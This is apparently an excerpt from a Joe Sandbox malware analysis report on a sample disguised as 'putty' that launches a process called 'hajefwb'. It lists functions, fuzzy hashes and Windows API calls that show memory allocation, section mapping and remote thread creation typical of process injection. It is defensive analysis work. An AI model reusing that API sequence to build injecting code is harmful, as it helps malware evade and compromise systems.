Instruction ID: 0f2563c088c55e369c8b99a75913258639d7b91ed0990f4b75a4850b41703535
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: F1526774A00229DFDB64CF68C984BA8BBB1BF49304F1480D9E94DAB351DB34AE85DF14

Function 0041E420 Relevance: 4.6, APIs: 3, Instructions: 60
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(007FBE70), ref: 0041E4FC
GetProcAddress.KERNEL32(00000000,00428568), ref: 0041E539
VirtualProtect.KERNELBASE(007FBCB4,007FBE6C,00000040,?), ref: 0041E559

Memory Dump Source

Source File: 00000000.00000002.2176696663.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_putty.jbxd

Similarity

API ID: AddressHandleModuleProcProtectVirtual
String ID:
API String ID: 2099061454-0
Opcode ID: 5f792d3185b1dfe27c01431423dd3fc6cfa42d126e08d48e723e3642774d761e
Instruction ID: 73f69d7917680131017885dec632b363507af7a99e12a31d1a756d0ae7194df9
Opcode Fuzzy Hash: 5f792d3185b1dfe27c01431423dd3fc6cfa42d126e08d48e723e3642774d761e
Instruction Fuzzy Hash: D331E2107197C0EAE311DB74FC0476A3BA2AB65744F94906CD284873B1DBFE4596C72E

Function 00940E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00940223,?,?), ref: 00940E19
SetErrorMode.KERNELBASE(00000000,?,?,00940223,?,?), ref: 00940E1E

Memory Dump Source

Source File: 00000000.00000002.2177275719.0000000000940000.00000040.00001000.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_putty.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 263bd457605f750de3bf08e678698831de7a69c0df499e67b04a708b532cfd21
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 82D01232245228B7DB002A94DC09BCEBB1CDF09BA2F008421FB0DE9080CBB09A4046EA

Function 0041E560 Relevance: 1.5, APIs: 1, Instructions: 17
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(00428568,0041EAA6), ref: 0041E5B5

Memory Dump Source

Source File: 00000000.00000002.2176696663.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_putty.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: a2247281a0317d9ab3f27a11f04892dfecf0f6f02230e8de71191773789cf042
Instruction ID: 37f511d326cec085d92eed1722e052eb53f2ff336d789c620464cf2e2f778e48
Opcode Fuzzy Hash: a2247281a0317d9ab3f27a11f04892dfecf0f6f02230e8de71191773789cf042
Instruction Fuzzy Hash: 41F02E0574F2E0ECE722C77869097483F511722688FC840ED908016663CAAA02DBD73E

Function 00401891 Relevance: 1.3, APIs: 1, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction ID: 625976beb622557468fde4da7c406050b614696d38d370b0d4d52ea32007e278
Opcode Fuzzy Hash: 6c70d353b433dda2f53fd46e2b53eb18a00404936ca24d3f60717acb78d32f73
Instruction Fuzzy Hash: 2C0192B260C204EBEB002991CC91EBA32299B04350F308133B603790F1D57C8753B36F

Function 004018A9 Relevance: 1.3, APIs: 1, Instructions: 53sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction ID: 01e10882b1c060c9bcf7afaa20a424b8b06e3eaca9db3e31c9d827ddeb5dfa52
Opcode Fuzzy Hash: a0416c7ea6c8b2beaa64009cd037ce3695af2c8d86f7782f0dc7d3fc67dd3c49
Instruction Fuzzy Hash: 620178B260C204EBEB042A91CC91EBE2225AB08320F308133B603790F1D67C8753B72F

Function 0040189C Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction ID: 091d8ab5f34d30388949969244c388a12b20eca364eb9837eec97541f3976fe9
Opcode Fuzzy Hash: 6b9a7ba5e763362e57e967b3ef273788d2906451f38bbd38aba7de38a4ba4a16
Instruction Fuzzy Hash: 46015AB360C244EBEB016A90C8A1EAA37659B48310F308577B643790F1D67C8753A72F

Function 004018B1 Relevance: 1.3, APIs: 1, Instructions: 52sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction ID: 35dd9e0e0d775fbf54de8accc2db9d3c4b904cb042cfc7da377ce8c3fe766ee0
Opcode Fuzzy Hash: b76e6f8ea108e6f900b2be892df91fc6f607bea987df0946b9f50da5a95319bc
Instruction Fuzzy Hash: 5501A2B6208244EBDB015AA4CD52AEE37259B04320F244177FA13BA0F1DA7CC653E76F

Function 0084C83F Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0084C890

Memory Dump Source

Source File: 00000000.00000002.2177166657.0000000000849000.00000040.00000020.00020000.00000000.sdmp, Offset: 00849000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_849000_putty.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: c922622bb145152d5802465c9ad5a526f46d4f96be88e7316b82f73f246e2fd7
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 32113979A00208EFDB01DF98C985E98BBF5EF08351F0580A4F9489B362D371EA90DF91

Function 004018D0 Relevance: 1.3, APIs: 1, Instructions: 43sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 004018E2

Part of subcall function 004014B5: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
Part of subcall function 004014B5: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction ID: 66a051fc3b1640109372302853407978bf892c336f6e5febd052736601f380b8
Opcode Fuzzy Hash: b859de65e3e4eca09ea0fa0fd0a149a7b7b601be189d05055e302c384b2899de
Instruction Fuzzy Hash: DBF04FB6208244EBDB006AD1CC51EAE33699B49364F304173B613790F5D67C8653E72F

Non-executed Functions

Function 0094092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

., xrefs: 0094095F
GetProcAddress., xrefs: 009409DC, 009409DF, 009409E4
l, xrefs: 00940966

Memory Dump Source

Source File: 00000000.00000002.2177275719.0000000000940000.00000040.00001000.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_putty.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 1881473ebb8cc92b2ed4aa44de7bd22430dcd9ab104b5d0f7d18c9599c015af2
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: C4316BB6910609DFDB10CF99C880AAEBBF9FF88324F24404AD941A7351D775EA45CFA4

Function 0084C45D Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2177166657.0000000000849000.00000040.00000020.00020000.00000000.sdmp, Offset: 00849000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_849000_putty.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 650ac18f518779146fdec049a8659dcb9e0cb424cdc7a4eb1686d30cc76a6422
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 9111AC72341104AFD780DE59DC91EB273EAFB89320B2980A5E908CB312E676EC02C760

Function 004013CA Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0451e9d16359af643799e3b23a0685e127db626760f30cb9f61b7ea239eb6fd6
Instruction ID: b4d99e39562e0a8d34f4e8a2adcb899dff0217260de8cdfa4497104cdd6e8b78
Opcode Fuzzy Hash: 0451e9d16359af643799e3b23a0685e127db626760f30cb9f61b7ea239eb6fd6
Instruction Fuzzy Hash: 7A117A22B1C21196E3179A918A460A97710DB11360B74C87BD493BB8F3C27D98066BCB

Function 004013D9 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7431593d3acf0a61d97152af6e57b32ce30d2b428f4d380d733201fdbbf0ad36
Instruction ID: 9c1a6264578523f2b95dbae5c8345fb03cc7a3f7f5b051fb9d7a91e089220ce3
Opcode Fuzzy Hash: 7431593d3acf0a61d97152af6e57b32ce30d2b428f4d380d733201fdbbf0ad36
Instruction Fuzzy Hash: 06118C27A1C20096E3179A90C6461A5B760DB12360B74887BD493778F3D17D58065BCF

Function 004013E0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ead3596dcdc828a5c4cfb9b817dc4ff7884f70c04ac3703ba61ef413fca77a8
Instruction ID: 7cced9f7fdb1c3f7b009c6269bf5343d8ea2104f00e9896e504acad3335f8aa1
Opcode Fuzzy Hash: 4ead3596dcdc828a5c4cfb9b817dc4ff7884f70c04ac3703ba61ef413fca77a8
Instruction Fuzzy Hash: 1811AB23F1C20056E3179F91C6460A8B760DB12360B748C7FD4826B8F7D27D98129BCB

Function 004013F0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 862da947cf69c9b5c573b7de815aaadc364d2e787700889f4836839734fe5098
Instruction ID: 5938fd262c6d7fd7e9059b2c6d5fc66a7b7b37341f859f3ef56555a79cfd23f8
Opcode Fuzzy Hash: 862da947cf69c9b5c573b7de815aaadc364d2e787700889f4836839734fe5098
Instruction Fuzzy Hash: 0401AB33F1C20056E3179AA0C6860A9B760DB12360B74887BD482678F3D23D98025BCF

Function 004013F4 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0e11a3ef683fd68855c3224d2ea3fecd6130d6e756cf9f75479bdcd47c53b27
Instruction ID: 34643119912da5106e2d45a94dd8d32290489c90b68d507143b233416c26121d
Opcode Fuzzy Hash: c0e11a3ef683fd68855c3224d2ea3fecd6130d6e756cf9f75479bdcd47c53b27
Instruction Fuzzy Hash: A101BD23F2821055D71B9BA0C6860E8BB20DA12360B7489BBD052778F3D23C94028BCD

Function 00401412 Relevance: .0, Instructions: 43nativeCOMMON

Download Yara Rule

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0

Memory Dump Source

Source File: 00000000.00000002.2176668667.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_putty.jbxd

Similarity

API ID: CreateDuplicateObjectSection
String ID:
API String ID: 3132048701-0
Opcode ID: 26b7c8141964b859a8c9d37ffff58683f7c78d268340d9480a59f47ab8784a65
Instruction ID: 94d0d6187efa1b4f5fb96639de9bee4adb18fcc7c1e699108f742e7c63bf3b1b
Opcode Fuzzy Hash: 26b7c8141964b859a8c9d37ffff58683f7c78d268340d9480a59f47ab8784a65
Instruction Fuzzy Hash: FF019953F2D64126D72B9FA086460D9BB20E9133B07748DBFD4A267CF7C274941487C9

Function 00940D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2177275719.0000000000940000.00000040.00001000.00020000.00000000.sdmp, Offset: 00940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_940000_putty.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 8068ea80f1d368fdc3dd01e3f72fddacea9dc050a46abd4e245b775ed3158265
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: 5F018F76A006148FDB21CF64C804FAA33B9EBC6316F4544A5DA0A9B281E774A9458F90

Function 0041E640 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

EndUpdateResourceA.KERNEL32(00000000,00000000,0042204C), ref: 0041E669
GetNumaHighestNodeNumber.KERNEL32(00000000), ref: 0041E6C0
GetComputerNameA.KERNEL32(?,?), ref: 0041E6D0

Strings

<, xrefs: 0041E6AA

Memory Dump Source

Source File: 00000000.00000002.2176696663.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_putty.jbxd

Similarity

API ID: ComputerHighestNameNodeNumaNumberResourceUpdate
String ID: <
API String ID: 2454257732-4251816714
Opcode ID: 38b6396692d561f846e82d484e43ff9839e86d75bee0adaba9c0cd9ffd17fbac
Instruction ID: 1831bf02aaf20b182b31ea32c56b48fe0af4060d55c8b6986e8c7cbcbf37122f
Opcode Fuzzy Hash: 38b6396692d561f846e82d484e43ff9839e86d75bee0adaba9c0cd9ffd17fbac
Instruction Fuzzy Hash: 9A118FB51043419FD320DF25D984BABB7E4FF98314FC18D2DF6944A281C778958ACB9A

Function 0041F660 Relevance: 6.0, APIs: 4, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 0041F686

Part of subcall function 0041F4AB: __fltout2.LIBCMT ref: 0041F4D7

__cftog_l.LIBCMT ref: 0041F6AC
__cftoe_l.LIBCMT ref: 0041F6DE

Memory Dump Source

Source File: 00000000.00000002.2176696663.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_putty.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: ae9c123fa49f40dbb681c5afc6ce5ec73cb2cd7577c926c04dcfacae745abae9
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: D411407210014ABBCF125E85DC42CEE3F62BB18354B598526FE1859131D33ACAB7AB89

Function 0041E710 Relevance: 6.0, APIs: 4, Instructions: 37COMMON

Download Yara Rule

APIs

Part of subcall function 0041E600: GetStartupInfoA.KERNEL32(00000000), ref: 0041E617
Part of subcall function 0041E600: GetModuleHandleA.KERNEL32(00000000), ref: 0041E61F

GetEnvironmentStringsW.KERNEL32(00000000), ref: 0041E749
FindFirstVolumeW.KERNEL32(00000000,00000000), ref: 0041E753
GetShortPathNameW.KERNEL32(0042333C,?,00000000), ref: 0041E765
DeleteVolumeMountPointA.KERNEL32(00000000), ref: 0041E784

Memory Dump Source

Source File: 00000000.00000002.2176696663.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_putty.jbxd

Similarity

API ID: Volume$DeleteEnvironmentFindFirstHandleInfoModuleMountNamePathPointShortStartupStrings
String ID:
API String ID: 3566876605-0
Opcode ID: 398f690dd63b4dc214b9c005ea9467d16438635c8015b47d51cfcc86b307485e
Instruction ID: 7d5483026b8d33337ac4a9549a5db5e9d718fad291004e212951830aed23f32c
Opcode Fuzzy Hash: 398f690dd63b4dc214b9c005ea9467d16438635c8015b47d51cfcc86b307485e
Instruction Fuzzy Hash: 9B0186B6A50100EBD664EB65ED4ABA633A4B71C705FC08425F746862A0DFB85444CFAF

Function 0041E678 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 39COMMON

Download Yara Rule

APIs

GetNumaHighestNodeNumber.KERNEL32(00000000), ref: 0041E6C0
GetComputerNameA.KERNEL32(?,?), ref: 0041E6D0

Strings

<, xrefs: 0041E6AA

Memory Dump Source

Source File: 00000000.00000002.2176696663.0000000000411000.00000020.00000001.01000000.00000003.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_411000_putty.jbxd

Similarity

API ID: ComputerHighestNameNodeNumaNumber
String ID: <
API String ID: 3700106692-4251816714
Opcode ID: 8250a3e23bbfec59b690a0df1105bb907fd8dd0d175828653fc7dd8941d46e01
Instruction ID: 78699f444b43a7322d8c77efa18837f699f308161780eb29aa2cbd1f541736c2
Opcode Fuzzy Hash: 8250a3e23bbfec59b690a0df1105bb907fd8dd0d175828653fc7dd8941d46e01
Instruction Fuzzy Hash: 220171751083829FC720DF25D84465FB7E4FF84329F858D1DE5A44A240C778954ACB4B

Analysis Process: hajefwbPID: 7112, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	25.5%
Signature Coverage:	0%
Total number of Nodes:	192
Total number of Limit Nodes:	6

Executed Functions

Function 0041E7A0 Relevance: 34.8, APIs: 23, Instructions: 305
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDateFormatA.KERNELBASE(00000000,00000000,?,00000000,?,00000000), ref: 0041E87F
FoldStringA.KERNEL32(00000000,00000000,00000000,00000000,?), ref: 0041E8BA
BuildCommDCBA.KERNEL32(00000000,00000000), ref: 0041E8C2
GetTimeFormatA.KERNEL32(00000000,00000000,?,00000000,?,00000000), ref: 0041E8F3
SetProcessPriorityBoost.KERNEL32(00000000,00000000), ref: 0041E8FB
SetFileAttributesA.KERNEL32(00423370,00000000), ref: 0041E907
UnregisterWaitEx.KERNEL32(?,00000000), ref: 0041E917
SetLocaleInfoA.KERNEL32(00000000,00000000,00423380), ref: 0041E924

Memory Dump Source

Source File: 00000004.00000002.2439046439.0000000000411000.00000020.00000001.01000000.00000006.sdmp, Offset: 00411000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_411000_hajefwb.jbxd

Similarity

API ID: Format$AttributesBoostBuildCommDateFileFoldInfoLocalePriorityProcessStringTimeUnregisterWait
String ID:
API String ID: 3960956766-0
Opcode ID: 914c2a7e43a7881f3aa375db9e339a1e29a6939f754bf8832aeec207d45dfe88
Instruction ID: 6ae51a12dd7b4aebb8f82212809d29e946f68f2589e94ec055893a89d6f8ae5b
Opcode Fuzzy Hash: 914c2a7e43a7881f3aa375db9e339a1e29a6939f754bf8832aeec207d45dfe88
Instruction Fuzzy Hash: 20A1C0B5904200AFD320EF61ED84DAB77ADFB88304F40493EFA4692261DB789C45CB6D

Function 004013BF Relevance: 10.8, APIs: 7, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000004.00000002.2439023319.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_hajefwb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction ID: b303ee40ce3cd715bffe5459f1355022e0f5cf8d3c2eb96fe6471530370b2b0e
Opcode Fuzzy Hash: f1a6a853dab4f549cc320576fe09db09b07e35a282cbb1e4dab32455e86f95e0
Instruction Fuzzy Hash: 3BA10872A04204FBEB219F91CC45EEB7BB8EF81710F24452BF902BA1F1D6749902DB65

Function 004014B5 Relevance: 10.7, APIs: 7, Instructions: 180
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000004.00000002.2439023319.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_hajefwb.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction ID: 19a1d6b0ff796e10bf8f41dee95350edbff68fa9ff5f9bfea876b5d94b6971b3
Opcode Fuzzy Hash: 719849d05dd569a84f102b076dd352e16165c28b1771b30273656c5f16ef7e6e
Instruction Fuzzy Hash: C9513BB1900245BFEB209F91CC48FAB7BB8FF85B10F14412AFA11BA2E5D6759941CB64

Function 004014D3 Relevance: 10.7, APIs: 7, Instructions: 169
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3

Memory Dump Source

Source File: 00000004.00000002.2439023319.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_hajefwb.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID:
API String ID: 1652636561-0
Opcode ID: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction ID: 8103355e2e942ff69e8c14b284ac6daeef9955d1bae1450e847efa7766c746d9
Opcode Fuzzy Hash: b37d7a3f5bcaad5f7e116b16f8babae0ae157dca3b6d02a9ae2d42698eee0e78
Instruction Fuzzy Hash: 245127B1900245BBEF209F91CC48FABBBB8EF86B00F144159FA11BA2A5D6719941CB24

Function 004014F7 Relevance: 10.7, APIs: 7, Instructions: 161
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401573
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 004015A0
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015C3
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004015E1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401622
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401653
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401675

Memory Dump Source

Source File: 00000004.00000002.2439023319.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_hajefwb.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction ID: 2227e086d9928dda04f460d80950503c889386f6503bf0ca9f5f85cfbacfc3af
Opcode Fuzzy Hash: f4d7e0ef1ba092f52e3f3aa053b09444c5da80675db222bfe35b70c903d8b2e5
Instruction Fuzzy Hash: 8B5107B1900249BFEF209F91CC48FAFBBB8EF85B10F144159FA11BA2A5D6719945CB24

Function 00402F8F Relevance: 3.2, APIs: 2, Instructions: 168
nativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlCreateUserThread.NTDLL ref: 004030B7
